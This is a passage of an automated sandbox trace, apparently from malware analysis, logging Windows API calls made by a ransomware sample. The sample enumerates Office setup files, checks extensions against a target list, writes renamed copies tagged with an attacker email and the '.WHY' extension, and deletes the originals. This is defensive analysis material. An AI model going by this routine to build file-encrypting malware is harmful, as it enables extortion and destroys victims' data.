lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.105] SetEndOfFile (hFile=0x1fc) returned 1 [0081.108] CloseHandle (hObject=0x1fc) returned 1 [0081.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0081.109] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0081.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.110] lstrlenW (lpString=".doc") returned 4 [0081.110] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.110] lstrlenW (lpString=".docx") returned 5 [0081.110] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.110] lstrlenW (lpString=".pdf") returned 4 [0081.110] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.110] lstrlenW (lpString=".xls") returned 4 [0081.110] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.110] lstrlenW (lpString=".xlsx") returned 5 [0081.110] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.111] lstrlenW (lpString=".ppt") returned 4 [0081.111] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.111] lstrlenW (lpString=".zip") returned 4 [0081.111] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.111] lstrlenW (lpString=".rar") returned 4 [0081.111] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.111] lstrlenW (lpString=".bz2") returned 4 [0081.111] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.111] lstrlenW (lpString=".7z") returned 3 [0081.111] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.111] lstrlenW (lpString=".dbf") returned 4 [0081.111] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.112] lstrlenW (lpString=".1cd") returned 4 [0081.112] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.112] lstrlenW (lpString=".jpg") returned 4 [0081.112] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.112] lstrlenW (lpString=".doc") returned 4 [0081.112] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.112] lstrlenW (lpString=".docx") returned 5 [0081.112] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.112] lstrlenW (lpString=".pdf") returned 4 [0081.113] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.113] lstrlenW (lpString=".xls") returned 4 [0081.113] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.113] lstrlenW (lpString=".xlsx") returned 5 [0081.113] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.113] lstrlenW (lpString=".ppt") returned 4 [0081.113] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.113] lstrlenW (lpString=".zip") returned 4 [0081.113] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.113] lstrlenW (lpString=".rar") returned 4 [0081.113] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.113] lstrlenW (lpString=".bz2") returned 4 [0081.114] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.114] lstrlenW (lpString=".7z") returned 3 [0081.114] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.114] lstrlenW (lpString=".dbf") returned 4 [0081.114] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.114] lstrlenW (lpString=".1cd") returned 4 [0081.114] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0081.114] lstrlenW (lpString=".jpg") returned 4 [0081.114] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.366] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0081.366] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0081.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.413] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=913) returned 1 [0081.413] CloseHandle (hObject=0x1e0) returned 1 [0081.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0081.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0081.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.414] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.414] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0081.415] GetLastError () returned 0x0 [0081.415] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x391, lpOverlapped=0x0) returned 1 [0081.434] WriteFile (in: hFile=0x1fc, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0081.437] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.438] WriteFile (in: hFile=0x1fc, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0081.438] SetEndOfFile (hFile=0x1fc) returned 1 [0081.438] CloseHandle (hObject=0x1fc) returned 1 [0081.442] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.442] SetEndOfFile (hFile=0x1e0) returned 1 [0081.445] CloseHandle (hObject=0x1e0) returned 1 [0081.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0081.445] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0081.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.446] lstrlenW (lpString=".doc") returned 4 [0081.447] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.447] lstrlenW (lpString=".docx") returned 5 [0081.447] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.448] lstrlenW (lpString=".pdf") returned 4 [0081.448] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.448] lstrlenW (lpString=".xls") returned 4 [0081.448] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.448] lstrlenW (lpString=".xlsx") returned 5 [0081.448] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.448] lstrlenW (lpString=".ppt") returned 4 [0081.448] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.449] lstrlenW (lpString=".zip") returned 4 [0081.449] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.449] lstrlenW (lpString=".rar") returned 4 [0081.449] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.449] lstrlenW (lpString=".bz2") returned 4 [0081.449] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.449] lstrlenW (lpString=".7z") returned 3 [0081.449] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.449] lstrlenW (lpString=".dbf") returned 4 [0081.449] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.450] lstrlenW (lpString=".1cd") returned 4 [0081.450] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.450] lstrlenW (lpString=".jpg") returned 4 [0081.451] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.451] lstrlenW (lpString=".doc") returned 4 [0081.451] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.451] lstrlenW (lpString=".docx") returned 5 [0081.451] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.451] lstrlenW (lpString=".pdf") returned 4 [0081.454] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.454] lstrlenW (lpString=".xls") returned 4 [0081.454] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.454] lstrlenW (lpString=".xlsx") returned 5 [0081.454] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.454] lstrlenW (lpString=".ppt") returned 4 [0081.454] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.455] lstrlenW (lpString=".zip") returned 4 [0081.455] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.455] lstrlenW (lpString=".rar") returned 4 [0081.455] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.455] lstrlenW (lpString=".bz2") returned 4 [0081.455] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.455] lstrlenW (lpString=".7z") returned 3 [0081.455] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.455] lstrlenW (lpString=".dbf") returned 4 [0081.455] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.455] lstrlenW (lpString=".1cd") returned 4 [0081.456] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0081.456] lstrlenW (lpString=".jpg") returned 4 [0081.456] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.456] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0081.456] lstrlenW (lpString="SETUP.XML") returned 9 [0081.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.457] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1852) returned 1 [0081.457] CloseHandle (hObject=0x1e0) returned 1 [0081.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0081.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0081.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.458] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.458] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0081.459] GetLastError () returned 0x0 [0081.459] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x73c, lpOverlapped=0x0) returned 1 [0081.492] WriteFile (in: hFile=0x1fc, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x740, lpOverlapped=0x0) returned 1 [0081.495] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.495] WriteFile (in: hFile=0x1fc, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0081.495] SetEndOfFile (hFile=0x1fc) returned 1 [0081.495] CloseHandle (hObject=0x1fc) returned 1 [0081.772] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.772] SetEndOfFile (hFile=0x1e0) returned 1 [0081.775] CloseHandle (hObject=0x1e0) returned 1 [0081.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0081.775] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0081.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.776] lstrlenW (lpString=".doc") returned 4 [0081.776] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.776] lstrlenW (lpString=".docx") returned 5 [0081.776] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.776] lstrlenW (lpString=".pdf") returned 4 [0081.776] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.776] lstrlenW (lpString=".xls") returned 4 [0081.777] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.777] lstrlenW (lpString=".xlsx") returned 5 [0081.777] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.777] lstrlenW (lpString=".ppt") returned 4 [0081.777] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.777] lstrlenW (lpString=".zip") returned 4 [0081.777] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.777] lstrlenW (lpString=".rar") returned 4 [0081.777] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.777] lstrlenW (lpString=".bz2") returned 4 [0081.777] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.777] lstrlenW (lpString=".7z") returned 3 [0081.777] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.778] lstrlenW (lpString=".dbf") returned 4 [0081.778] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.778] lstrlenW (lpString=".1cd") returned 4 [0081.778] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.778] lstrlenW (lpString=".jpg") returned 4 [0081.778] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.779] lstrlenW (lpString=".doc") returned 4 [0081.779] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.779] lstrlenW (lpString=".docx") returned 5 [0081.779] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.779] lstrlenW (lpString=".pdf") returned 4 [0081.779] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.779] lstrlenW (lpString=".xls") returned 4 [0081.779] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.779] lstrlenW (lpString=".xlsx") returned 5 [0081.779] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.779] lstrlenW (lpString=".ppt") returned 4 [0081.779] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.780] lstrlenW (lpString=".zip") returned 4 [0081.780] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.780] lstrlenW (lpString=".rar") returned 4 [0081.780] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.780] lstrlenW (lpString=".bz2") returned 4 [0081.780] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.780] lstrlenW (lpString=".7z") returned 3 [0081.780] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.780] lstrlenW (lpString=".dbf") returned 4 [0081.780] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.780] lstrlenW (lpString=".1cd") returned 4 [0081.781] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0081.781] lstrlenW (lpString=".jpg") returned 4 [0081.781] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.781] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0081.781] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0081.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0082.324] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5557) returned 1 [0082.324] CloseHandle (hObject=0x1e4) returned 1 [0082.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0082.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0082.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0082.325] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.325] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 